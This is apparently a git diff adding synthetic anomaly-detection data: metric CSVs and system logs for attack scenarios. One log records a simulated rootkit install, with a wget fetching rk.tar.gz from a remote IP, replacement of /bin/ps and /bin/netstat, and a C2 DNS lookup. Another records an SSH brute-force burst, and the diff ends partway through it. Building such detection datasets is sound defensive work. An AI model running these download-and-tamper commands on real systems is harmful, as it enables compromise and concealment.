+2025-07-02T11:01:30Z,16.41,38.04,34.7,0.76,0.59 +2025-07-02T11:01:35Z,13.89,42.51,23.26,0.87,0.87 +2025-07-02T11:01:40Z,10.74,36.95,30.04,0.69,1.3 +2025-07-02T11:01:45Z,17.94,37.73,33.37,0.98,1.07 +2025-07-02T11:01:50Z,13.54,44.6,30.79,0.58,0.59 +2025-07-02T11:01:55Z,18.09,40.06,24.39,0.92,1.34 +2025-07-02T11:02:00Z,18.6,43.52,27.87,1.29,1.07 +2025-07-02T11:02:05Z,10.04,40.51,28.96,0.65,0.88 +2025-07-02T11:02:10Z,15.21,38.53,24.96,1.05,1.16 +2025-07-02T11:02:15Z,10.1,45.27,24.32,1.18,0.95 +2025-07-02T11:02:20Z,14.57,37.44,36.47,0.82,1.01 +2025-07-02T11:02:25Z,19.1,39.97,23.23,0.91,0.88 +2025-07-02T11:02:30Z,12.78,41.35,37.34,1.5,1.27 +2025-07-02T11:02:35Z,17.03,43.01,31.01,0.88,0.68 +2025-07-02T11:02:40Z,12.68,41.92,27.41,1.23,1.05 +2025-07-02T11:02:45Z,17.75,43.7,33.52,0.98,0.74 +2025-07-02T11:02:50Z,21.47,39.79,26.37,0.83,0.6 +2025-07-02T11:02:55Z,12.85,40.46,31.52,1.35,0.71 +2025-07-02T11:03:00Z,11.49,45.7,27.5,0.92,0.7 +2025-07-02T11:03:05Z,14.44,43.1,26.65,1.09,1.2 +2025-07-02T11:03:10Z,17.66,40.68,28.54,1.26,0.5 +2025-07-02T11:03:15Z,10.67,40.72,28.03,0.75,1.15 +2025-07-02T11:03:20Z,17.79,44.32,26.58,0.97,0.44 +2025-07-02T11:03:25Z,15.61,33.6,36.2,0.67,1.4 +2025-07-02T11:03:30Z,12.33,41.7,27.34,0.91,1.4 +2025-07-02T11:03:35Z,11.01,34.92,30.05,1.33,1.03 +2025-07-02T11:03:40Z,10.27,42.82,37.58,0.84,0.4 +2025-07-02T11:03:45Z,18.26,42.6,32.59,1.32,1.1 +2025-07-02T11:03:50Z,15.47,35.24,36.97,0.75,0.76 +2025-07-02T11:03:55Z,14.36,37.75,24.29,0.93,1.4 +2025-07-02T11:04:00Z,13.93,37.29,24.78,0.95,1.25 +2025-07-02T11:04:05Z,10.97,37.11,40.52,1.21,0.65 +2025-07-02T11:04:10Z,14.5,36.42,23.97,1.2,0.77 +2025-07-02T11:04:15Z,14.7,38.52,32.46,1.26,1.18 +2025-07-02T11:04:20Z,16.63,41.56,22.13,1.0,1.31 +2025-07-02T11:04:25Z,16.24,42.55,29.19,0.78,1.08 +2025-07-02T11:04:30Z,17.28,39.25,23.55,0.93,1.4 +2025-07-02T11:04:35Z,16.73,39.12,31.04,0.88,0.7 +2025-07-02T11:04:40Z,16.78,39.71,40.26,1.5,0.73 +2025-07-02T11:04:45Z,15.68,42.44,24.32,0.94,0.41 +2025-07-02T11:04:50Z,14.1,35.89,27.88,1.13,0.41 +2025-07-02T11:04:55Z,13.77,41.29,26.08,0.99,1.21 +2025-07-02T11:05:00Z,12.79,38.72,31.44,1.07,1.14 +2025-07-02T11:05:05Z,15.91,40.97,35.75,0.5,1.35 +2025-07-02T11:05:10Z,12.76,42.63,27.04,0.89,1.17 +2025-07-02T11:05:15Z,14.54,40.24,32.62,1.01,0.89 +2025-07-02T11:05:20Z,14.76,37.54,27.42,1.22,0.82 +2025-07-02T11:05:25Z,17.76,40.21,31.95,0.64,0.83 +2025-07-02T11:05:30Z,18.94,43.96,19.17,1.12,1.02 +2025-07-02T11:05:35Z,11.58,37.03,34.95,0.82,1.08 +2025-07-02T11:05:40Z,8.27,37.19,30.61,1.24,1.29 +2025-07-02T11:05:45Z,13.64,43.53,25.82,0.77,1.02 +2025-07-02T11:05:50Z,13.79,44.78,33.95,0.88,0.52 +2025-07-02T11:05:55Z,12.96,38.84,22.14,0.99,0.45 +2025-07-02T11:06:00Z,15.22,38.12,34.07,0.83,0.85 +2025-07-02T11:06:05Z,14.37,37.69,40.07,0.91,1.09 +2025-07-02T11:06:10Z,12.33,41.77,21.49,0.68,1.4 +2025-07-02T11:06:15Z,13.74,37.17,22.03,1.26,1.08 +2025-07-02T11:06:20Z,15.51,41.47,31.18,1.5,0.52 +2025-07-02T11:06:25Z,11.93,39.74,30.4,1.09,0.77 +2025-07-02T11:06:30Z,9.02,38.46,28.15,1.35,0.84 +2025-07-02T11:06:35Z,20.47,43.01,34.48,1.0,0.61 +2025-07-02T11:06:40Z,12.1,35.88,28.45,0.87,0.51 +2025-07-02T11:06:45Z,20.09,36.25,29.97,1.19,1.3 +2025-07-02T11:06:50Z,17.08,43.31,29.59,1.12,0.75 +2025-07-02T11:06:55Z,15.49,44.29,28.14,0.63,1.27 +2025-07-02T11:07:00Z,16.64,40.64,36.14,0.82,1.09 +2025-07-02T11:07:05Z,13.43,38.32,26.34,1.35,1.02 +2025-07-02T11:07:10Z,17.79,40.82,28.59,1.48,0.41 +2025-07-02T11:07:15Z,17.13,40.63,34.6,0.5,0.4 +2025-07-02T11:07:20Z,19.42,32.53,35.81,0.5,0.52 +2025-07-02T11:07:25Z,17.43,37.73,30.44,0.89,0.86 diff --git a/mali_dataset/scenario_6/mali_6_9.log b/mali_dataset/scenario_6/mali_6_9.log new file mode 100644 index 0000000000000000000000000000000000000000..fc3b723b58eaf3e3610c237bd5af6dc1636fbade --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_9.log @@ -0,0 +1,94 @@ +Jul 02 11:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:00:05 CRON[501]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:00:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:00:20 web-app[1234]: user 'admin' command: /usr/bin/wget http://198.51.100.23/rk.tar.gz -O /tmp/rk.tar.gz +Jul 02 11:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:00:35 web-app[1234]: user 'admin' command: /bin/bash /tmp/install.sh +Jul 02 11:00:40 auditd[551]: type=SYSCALL msg=audit(1751492440.132:87): arch=c000003e syscall=82 success=yes exit=0 a0=7ffc9e0b1d3a a1=7ffc9e0b1d5b a2=2 a3=7ffc9e0b0930 items=2 ppid=2109 pid=2110 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="mv" exe="/bin/mv" key="system_binary_tamper" item=0 name="/bin/ps" inode=12345 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=DELETE +Jul 02 11:00:45 auditd[551]: type=SYSCALL msg=audit(1751492445.456:88): arch=c000003e syscall=257 success=yes exit=3 a0=ffffffffffffff9c a1=7ffc9e0b1d3a a2=941 a3=0 items=1 ppid=2109 pid=2110 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="mv" exe="/bin/mv" key="system_binary_tamper" item=0 name="/tmp/new_ps" inode=67890 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=CREATE +Jul 02 11:01:00 auditd[551]: type=SYSCALL msg=audit(1751492450.789:89): arch=c000003e syscall=82 success=yes exit=0 a0=7ffc9e0b1d3a a1=7ffc9e0b1d5b a2=2 a3=7ffc9e0b0930 items=2 ppid=2109 pid=2111 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="mv" exe="/bin/mv" key="system_binary_tamper" item=0 name="/bin/netstat" inode=12347 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=DELETE +Jul 02 11:00:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:05 CRON[513]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:30 aide[2345]: AIDE found differences between database and filesystem!! + /bin/ps + Attributes: sha256,sha512 + sha256: 0123...def, 4567...abc + sha512: 89ab...456, cdef...890 +Jul 02 11:01:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 11:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:00 dnsmasq[789]: query[A] evil-c2-server.com from localhost +Jul 02 11:02:05 CRON[525]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 11:02:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:02:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:02:55 systemd[1]: Starting daily clean up activities... +Jul 02 11:03:00 sudo[3100]: regular_user : TTY=pts/1 ; PWD=/home/regular_user ; USER=root ; COMMAND=/bin/ps aux +Jul 02 11:03:05 CRON[537]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:03:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 11:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:05 CRON[549]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:40 systemd[1]: Starting daily clean up activities... +Jul 02 11:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:00 sudo[3250]: monitor_user : TTY=pts/2 ; PWD=/home/monitor_user ; USER=root ; COMMAND=/bin/netstat -antp +Jul 02 11:05:05 CRON[561]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:05 CRON[573]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 11:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 11:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:07:05 CRON[585]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 11:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/mali_dataset/scenario_7/mali_7_1.csv b/mali_dataset/scenario_7/mali_7_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..7abce20b25dd498da0cd3bdf6a2fe2374a7f145f --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T10:00:00Z,11.12,39.65,23.33,0.61,1.99 +2025-08-17T10:00:05Z,9.81,37.25,29.36,0.62,0.61 +2025-08-17T10:00:10Z,12.63,40.53,20.58,1.32,1.43 +2025-08-17T10:00:15Z,14.51,41.84,24.95,1.37,1.92 +2025-08-17T10:00:20Z,8.04,36.37,21.79,0.94,1.88 +2025-08-17T10:00:25Z,10.56,36.72,28.06,0.78,1.21 +2025-08-17T10:00:30Z,9.98,41.05,23.12,0.93,0.71 +2025-08-17T10:00:35Z,14.83,38.77,23.97,1.0,1.15 +2025-08-17T10:00:40Z,6.3,44.02,20.64,1.41,1.05 +2025-08-17T10:00:45Z,10.39,38.0,23.65,0.9,1.28 +2025-08-17T10:00:50Z,6.81,44.16,27.04,0.61,0.54 +2025-08-17T10:00:55Z,14.89,40.67,28.13,1.45,0.78 +2025-08-17T10:01:00Z,13.65,42.23,18.2,0.62,1.58 +2025-08-17T10:01:05Z,9.2,44.97,17.75,0.89,1.71 +2025-08-17T10:01:10Z,8.51,37.05,29.95,1.35,1.25 +2025-08-17T10:01:15Z,8.61,42.54,20.81,0.52,0.91 +2025-08-17T10:01:20Z,8.58,36.33,23.83,0.68,1.21 +2025-08-17T10:01:25Z,13.77,41.58,24.68,1.09,1.48 +2025-08-17T10:01:30Z,6.85,35.3,23.17,0.86,1.32 +2025-08-17T10:01:35Z,6.19,37.1,25.6,0.99,0.73 +2025-08-17T10:01:40Z,7.35,39.08,19.37,1.46,1.15 +2025-08-17T10:01:45Z,9.94,35.18,21.06,1.11,1.17 +2025-08-17T10:01:50Z,8.17,36.66,21.05,0.75,1.68 +2025-08-17T10:01:55Z,10.69,44.69,18.51,0.55,0.53 +2025-08-17T10:02:00Z,8.13,37.53,28.2,0.86,1.04 +2025-08-17T10:02:05Z,11.4,41.59,27.84,0.91,0.72 +2025-08-17T10:02:10Z,6.35,39.94,24.89,1.5,0.55 +2025-08-17T10:02:15Z,13.34,36.03,16.74,0.92,0.53 +2025-08-17T10:02:20Z,8.53,42.69,29.95,0.54,1.9 +2025-08-17T10:02:25Z,7.46,44.0,25.27,1.44,1.53 +2025-08-17T10:02:30Z,10.8,39.89,25.42,10.22,2.06 +2025-08-17T10:02:35Z,14.8,37.98,17.48,19.83,2.19 +2025-08-17T10:02:40Z,19.47,40.72,18.62,11.2,2.84 +2025-08-17T10:02:45Z,28.06,37.91,26.0,12.34,2.33 +2025-08-17T10:02:50Z,39.0,44.04,29.19,9.0,1.94 +2025-08-17T10:02:55Z,45.7,35.85,29.78,21.08,2.89 +2025-08-17T10:03:00Z,47.68,41.54,29.63,9.14,2.81 +2025-08-17T10:03:05Z,57.7,39.38,15.8,20.63,1.81 +2025-08-17T10:03:10Z,56.71,38.49,24.04,18.45,2.99 +2025-08-17T10:03:15Z,63.16,38.57,22.77,10.1,2.93 +2025-08-17T10:03:20Z,69.24,34.23,25.12,15.41,1.95 +2025-08-17T10:03:25Z,68.83,35.47,22.26,23.44,1.76 +2025-08-17T10:03:30Z,74.26,39.98,22.01,19.37,2.45 +2025-08-17T10:03:35Z,79.08,36.54,16.04,18.95,2.44 +2025-08-17T10:03:40Z,85.95,36.05,25.62,22.99,2.14 +2025-08-17T10:03:45Z,80.12,34.26,15.62,17.29,2.05 +2025-08-17T10:03:50Z,89.38,36.42,29.4,23.71,2.93 +2025-08-17T10:03:55Z,85.08,38.14,22.27,10.15,1.53 +2025-08-17T10:04:00Z,92.25,35.36,26.45,8.21,2.84 +2025-08-17T10:04:05Z,86.65,35.34,19.18,18.66,1.63 +2025-08-17T10:04:10Z,90.1,41.74,19.55,9.18,1.78 +2025-08-17T10:04:15Z,85.3,35.25,25.12,19.14,2.99 +2025-08-17T10:04:20Z,90.39,35.05,21.5,11.79,1.59 +2025-08-17T10:04:25Z,87.37,42.36,23.21,19.84,2.38 +2025-08-17T10:04:30Z,80.27,41.22,20.12,20.17,2.84 +2025-08-17T10:04:35Z,82.34,38.92,19.91,12.58,2.84 +2025-08-17T10:04:40Z,83.96,39.94,18.87,22.43,2.84 +2025-08-17T10:04:45Z,80.71,34.95,27.27,19.22,1.98 +2025-08-17T10:04:50Z,67.98,38.16,24.2,20.8,1.94 +2025-08-17T10:04:55Z,68.07,34.27,29.25,10.91,1.52 +2025-08-17T10:05:00Z,59.53,32.83,22.39,17.16,1.55 +2025-08-17T10:05:05Z,58.97,38.72,20.7,24.04,2.36 +2025-08-17T10:05:10Z,56.42,33.96,27.07,9.87,2.26 +2025-08-17T10:05:15Z,47.69,39.5,16.06,20.49,1.93 +2025-08-17T10:05:20Z,40.15,37.05,22.69,21.02,1.68 +2025-08-17T10:05:25Z,37.75,42.45,18.45,21.18,2.23 +2025-08-17T10:05:30Z,30.77,41.83,20.54,15.58,2.43 +2025-08-17T10:05:35Z,23.82,38.77,25.67,13.92,1.86 +2025-08-17T10:05:40Z,16.24,36.63,19.46,23.57,2.63 +2025-08-17T10:05:45Z,13.99,39.46,26.29,15.83,1.61 +2025-08-17T10:05:50Z,8.36,35.72,24.79,1.21,0.76 +2025-08-17T10:05:55Z,13.12,39.36,28.29,0.62,0.53 +2025-08-17T10:06:00Z,9.51,35.68,18.35,0.79,1.81 +2025-08-17T10:06:05Z,12.38,36.63,18.23,0.88,0.6 +2025-08-17T10:06:10Z,13.92,37.45,27.18,1.4,0.69 +2025-08-17T10:06:15Z,10.1,36.91,24.39,0.95,0.63 +2025-08-17T10:06:20Z,13.04,36.02,25.67,0.66,1.73 +2025-08-17T10:06:25Z,6.33,43.46,25.54,1.29,1.46 +2025-08-17T10:06:30Z,11.62,38.07,23.29,1.49,1.45 +2025-08-17T10:06:35Z,10.06,35.61,21.47,0.63,0.53 +2025-08-17T10:06:40Z,5.34,42.73,25.35,0.52,1.31 +2025-08-17T10:06:45Z,13.95,40.65,24.23,0.62,0.67 +2025-08-17T10:06:50Z,8.64,35.56,23.71,0.56,1.04 +2025-08-17T10:06:55Z,5.76,35.65,28.79,1.41,1.83 +2025-08-17T10:07:00Z,8.27,36.47,26.82,1.41,1.46 +2025-08-17T10:07:05Z,10.69,35.83,23.47,0.71,1.41 +2025-08-17T10:07:10Z,5.84,36.88,24.41,0.89,1.64 +2025-08-17T10:07:15Z,7.61,36.14,20.49,0.75,1.18 +2025-08-17T10:07:20Z,11.37,36.95,28.46,0.69,0.7 +2025-08-17T10:07:25Z,11.29,42.11,19.31,0.59,1.19 diff --git a/mali_dataset/scenario_7/mali_7_1.log b/mali_dataset/scenario_7/mali_7_1.log new file mode 100644 index 0000000000000000000000000000000000000000..7f814cc7a4c85c7e8761659e4908b6b435440181 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_1.log @@ -0,0 +1,415 @@ +Aug 17 10:00:00 CRON[4523]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:00:00 systemd[1]: Starting Daily apt download activities... +Aug 17 10:00:02 systemd[1]: Finished Daily apt download activities. +Aug 17 10:00:25 sshd[15045]: Accepted publickey for dev-admin from 10.0.1.55 port 55234 ssh2 +Aug 17 10:00:25 systemd[1]: Created slice User Slice of UID 1001. +Aug 17 10:00:50 CRON[11227]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:00:50 sshd[11327]: Received disconnect from 10.0.1.55 port 55234:11: disconnected by user +Aug 17 10:01:15 systemd[1]: Starting Daily apt download activities... +Aug 17 10:01:17 systemd[1]: Finished Daily apt download activities. +Aug 17 10:01:40 CRON[9710]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:02:30 CRON[27551]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 17 10:02:30 sshd[27651]: Failed password for admin from 185.191.205.11 port 12454 ssh2 +Aug 17 10:02:30 sshd[27651]: Failed password for root from 185.191.205.10 port 48287 ssh2 +Aug 17 10:02:30 sshd[27651]: Failed password for test from 192.168.1.105 port 33295 ssh2 +Aug 17 10:02:30 sshd[27651]: Invalid user ubuntu from 192.168.1.105 port 38866 +Aug 17 10:02:30 systemd[1]: Starting Daily apt download activities... +Aug 17 10:02:31 sshd[27651]: Failed password for guest from 185.191.205.11 port 57486 ssh2 +Aug 17 10:02:32 sshd[27651]: Failed password for guest from 185.191.205.10 port 17718 ssh2 +Aug 17 10:02:32 sshd[27651]: Failed password for root from 185.191.205.10 port 54850 ssh2 +Aug 17 10:02:32 systemd[1]: Finished Daily apt download activities. +Aug 17 10:02:33 sshd[27651]: Failed password for ubuntu from 185.191.205.11 port 64339 ssh2 +Aug 17 10:02:33 sshd[27651]: Failed password for webmaster from 185.191.205.10 port 37068 ssh2 +Aug 17 10:02:34 sshd[27651]: Failed password for ubuntu from 185.191.205.10 port 63540 ssh2 +Aug 17 10:02:34 sshd[27651]: Invalid user oracle from 185.191.205.11 port 29232 +Aug 17 10:02:35 sshd[24070]: Failed password for test from 185.191.205.11 port 60708 ssh2 +Aug 17 10:02:35 sshd[24070]: Invalid user oracle from 185.191.205.10 port 64445 +Aug 17 10:02:37 sshd[24070]: Failed password for sqladmin from 192.168.1.105 port 28759 ssh2 +Aug 17 10:02:38 sshd[24070]: Failed password for admin from 185.191.205.10 port 23550 ssh2 +Aug 17 10:02:39 sshd[24070]: Failed password for backup from 185.191.205.10 port 45803 ssh2 +Aug 17 10:02:39 sshd[24070]: Failed password for test from 185.191.205.11 port 63465 ssh2 +Aug 17 10:02:39 sshd[24070]: Invalid user ec2-user from 185.191.205.10 port 47149 +Aug 17 10:02:39 sshd[24070]: Invalid user guest from 185.191.205.10 port 65092 +Aug 17 10:02:39 sshd[24070]: Invalid user ubuntu from 185.191.205.11 port 29713 +Aug 17 10:02:41 sshd[29869]: Failed password for backup from 185.191.205.10 port 15118 ssh2 +Aug 17 10:02:41 sshd[29869]: Failed password for guest from 185.191.205.11 port 12348 ssh2 +Aug 17 10:02:41 sshd[29869]: Failed password for sqladmin from 192.168.1.105 port 48049 ssh2 +Aug 17 10:02:42 sshd[29869]: Failed password for oracle from 185.191.205.10 port 35070 ssh2 +Aug 17 10:02:42 sshd[29869]: Invalid user ubuntu from 185.191.205.11 port 34493 +Aug 17 10:02:42 sshd[29869]: Invalid user user from 185.191.205.10 port 42327 +Aug 17 10:02:43 sshd[29869]: Failed password for user from 185.191.205.10 port 60341 ssh2 +Aug 17 10:02:43 sshd[29869]: Invalid user admin from 192.168.1.105 port 22256 +Aug 17 10:02:43 sshd[29869]: Invalid user test from 185.191.205.11 port 24086 +Aug 17 10:02:43 sshd[29869]: Invalid user ubuntu from 185.191.205.11 port 14523 +Aug 17 10:02:44 sshd[29869]: Failed password for sqladmin from 185.191.205.11 port 49178 ssh2 +Aug 17 10:02:45 sshd[4385]: Failed password for admin from 192.168.1.105 port 62435 ssh2 +Aug 17 10:02:45 sshd[4385]: Failed password for ftpuser from 185.191.205.11 port 32859 ssh2 +Aug 17 10:02:45 sshd[4385]: Failed password for user from 192.168.1.105 port 59731 ssh2 +Aug 17 10:02:45 sshd[4385]: Invalid user test from 185.191.205.11 port 16680 +Aug 17 10:02:46 sshd[4385]: Failed password for backup from 185.191.205.10 port 56769 ssh2 +Aug 17 10:02:46 sshd[4385]: Failed password for ftpuser from 192.168.1.105 port 47077 ssh2 +Aug 17 10:02:46 sshd[4385]: Invalid user user from 185.191.205.10 port 12041 +Aug 17 10:02:47 sshd[4385]: Failed password for guest from 185.191.205.10 port 62358 ssh2 +Aug 17 10:02:48 sshd[4385]: Failed password for backup from 192.168.1.105 port 34491 ssh2 +Aug 17 10:02:48 sshd[4385]: Failed password for oracle from 185.191.205.11 port 21344 ssh2 +Aug 17 10:02:48 sshd[4385]: Failed password for test from 192.168.1.105 port 47555 ssh2 +Aug 17 10:02:49 sshd[4385]: Invalid user oracle from 185.191.205.11 port 35450 +Aug 17 10:02:49 sshd[4385]: Invalid user user from 185.191.205.10 port 22209 +Aug 17 10:02:49 sshd[4385]: Invalid user webmaster from 185.191.205.11 port 49102 +Aug 17 10:02:50 sshd[10328]: Failed password for ubuntu from 185.191.205.10 port 61781 ssh2 +Aug 17 10:02:50 sshd[10328]: Failed password for webmaster from 185.191.205.10 port 56257 ssh2 +Aug 17 10:02:50 sshd[10328]: Invalid user test from 185.191.205.10 port 31150 +Aug 17 10:02:51 sshd[10328]: Failed password for root from 192.168.1.105 port 56241 ssh2 +Aug 17 10:02:51 sshd[10328]: Invalid user user from 185.191.205.11 port 58142 +Aug 17 10:02:52 sshd[10328]: Invalid user ec2-user from 185.191.205.10 port 42167 +Aug 17 10:02:52 sshd[10328]: Invalid user oracle from 185.191.205.11 port 49517 +Aug 17 10:02:53 sshd[10328]: Failed password for oracle from 192.168.1.105 port 23825 ssh2 +Aug 17 10:02:54 sshd[10328]: Failed password for root from 192.168.1.105 port 20159 ssh2 +Aug 17 10:02:55 sshd[25537]: Failed password for backup from 185.191.205.10 port 31907 ssh2 +Aug 17 10:02:55 sshd[25537]: Failed password for backup from 185.191.205.11 port 47489 ssh2 +Aug 17 10:02:55 sshd[25537]: Failed password for backup from 192.168.1.105 port 40387 ssh2 +Aug 17 10:02:55 sshd[25537]: Failed password for user from 185.191.205.11 port 45197 ssh2 +Aug 17 10:02:55 sshd[25537]: Failed password for user from 192.168.1.105 port 31187 ssh2 +Aug 17 10:02:56 sshd[25537]: Failed password for backup from 185.191.205.10 port 30723 ssh2 +Aug 17 10:02:56 sshd[25537]: Failed password for oracle from 192.168.1.105 port 43827 ssh2 +Aug 17 10:02:56 sshd[25537]: Invalid user ubuntu from 192.168.1.105 port 45846 +Aug 17 10:02:57 sshd[25537]: Failed password for oracle from 192.168.1.105 port 37524 ssh2 +Aug 17 10:02:57 sshd[25537]: Failed password for root from 185.191.205.11 port 62411 ssh2 +Aug 17 10:02:57 sshd[25537]: Invalid user user from 192.168.1.105 port 23335 +Aug 17 10:02:58 sshd[25537]: Failed password for root from 185.191.205.11 port 52600 ssh2 +Aug 17 10:02:58 sshd[25537]: Failed password for user from 192.168.1.105 port 32708 ssh2 +Aug 17 10:02:59 sshd[25537]: Failed password for test from 192.168.1.105 port 41266 ssh2 +Aug 17 10:02:59 sshd[25537]: Failed password for webmaster from 185.191.205.10 port 18975 ssh2 +Aug 17 10:03:00 sshd[22694]: Failed password for oracle from 192.168.1.105 port 41369 ssh2 +Aug 17 10:03:00 sshd[22694]: Invalid user sqladmin from 192.168.1.105 port 50973 +Aug 17 10:03:01 sshd[22694]: Failed password for guest from 185.191.205.10 port 17618 ssh2 +Aug 17 10:03:02 sshd[22694]: Failed password for root from 185.191.205.10 port 32028 ssh2 +Aug 17 10:03:02 sshd[22694]: Failed password for test from 192.168.1.105 port 62890 ssh2 +Aug 17 10:03:02 sshd[22694]: Invalid user ftpuser from 185.191.205.10 port 43025 